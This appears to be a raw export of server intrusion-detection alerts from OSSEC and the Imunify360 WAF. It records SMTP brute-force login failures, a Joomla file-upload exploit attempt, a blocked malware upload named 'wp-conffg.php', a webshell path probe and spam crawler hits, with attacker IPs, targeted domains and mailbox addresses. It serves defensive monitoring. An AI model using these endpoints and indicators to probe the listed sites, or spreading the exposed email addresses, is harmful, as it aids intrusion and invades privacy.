abuser: 51.79.180.242
country_id: 1880251
domain: yukticlick.com
description:
IM360 WAF: Joomla Page Builder CK unauthenticated file upload - browse.ajaxAddPicture (CVE-2026-56290 / WPT-2603)||MVN:REQUEST_FILENAME||MV:/index.php||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:54:38 dovecot_login authenticator failed for H=(DXSo0k) [80.94.92.123]:55497: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:55:24 dovecot_login authenticator failed for H=(vF5eASgC) [80.94.92.123]:64150: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:55:47 dovecot_login authenticator failed for H=(IeK2cBhV) [80.94.92.123]:52015: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:56:56 dovecot_login authenticator failed for H=(MjiTEeWQ) [80.94.92.123]:50264: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.73.109.194
country_id: 1269750
description:
2026-07-18 08:56:55 dovecot_login authenticator failed for H=(ip-199-102-107-147.hosts.zerolag.com) [182.73.109.194]:45828: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:57:42 dovecot_login authenticator failed for H=(Snun1h) [80.94.92.123]:59700: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.207.248.198
country_id: 2328926
description:
2026-07-18 08:58:07 dovecot_login authenticator failed for H=(ool-457e901e.dyn.optonline.net) [41.207.248.198]:36690: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:58:56 dovecot_login authenticator failed for H=(rAwD34Iutj) [80.94.92.123]:57616: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:59:42 dovecot_login authenticator failed for H=(KmD4iHZ2j) [80.94.92.123]:52658: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://wikidental.ad-bk.de/index.php?title=Benutzer:RubenToney\">\xe2\x80\x9cgi\xe1\xbb\x91ng c\xc3\xa2y ch\xe1\xba\xa5t l\xc6\xb0\xe1\xbb\xa3ng cao\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.210.164.158
country_id: 1210997
description:
2026-07-18 09:00:46 dovecot_login authenticator failed for H=([180.149.232.33]) [180.210.164.158]:41592: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://legal.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.214.252.25
country_id: 3895114
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/0e1463040 HTTP/1.1||RSV:8.31||T:APACHE||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 23.249.16.98
country_id: 1861060
domain: keralapeople.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:228233||Sizes:130641||Combined size:130641||User:keralapeople||WPU:||Filename:wp-conffg.php||Scanned:/tmp//20260718-092327-alr4twwrpkHHgPUY0x4OZAAAAJM-file-xBfN5k||SC:/home/keralapeople/public_html/admin.php||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.16.226.120
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/7d1638890 HTTP/1.1||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.67
country_id: 1733045
description:
2026-07-18 09:26:52 dovecot_login authenticator failed for H=([49.124.148.2]) [49.124.151.67]:38522: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.59.226
country_id: 337996
description:
2026-07-18 09:27:34 dovecot_login authenticator failed for H=([121.46.239.201]) [196.189.59.226]:38547: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.169.149
country_id: 2186224
description:
2026-07-18 09:28:28 dovecot_login authenticator failed for H=(231.red-83-56-172.dynamicip.rima-tde.net) [121.73.169.149]:47916: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.8.97
country_id: 1835841
description:
2026-07-18 09:29:04 dovecot_login authenticator failed for H=([49.124.146.43]) [218.156.8.97]:57670: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 64.89.163.29
country_id: 6252001
domain: apkmetal.in
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Incorrect username or password.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 132.248.15.189
country_id: 3996063
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/3/E_bak5.1/upload/eginfo.php||SC:/home/ahsmarine/public_html/3||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.51.203.22
country_id: 102358
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/home-theatre-is-not-a-luxury-it-is-a-trend-of-a-covid-era-report-on-kerala-kaumudi HTTP/1.1||RSV:8.31||T:APACHE||


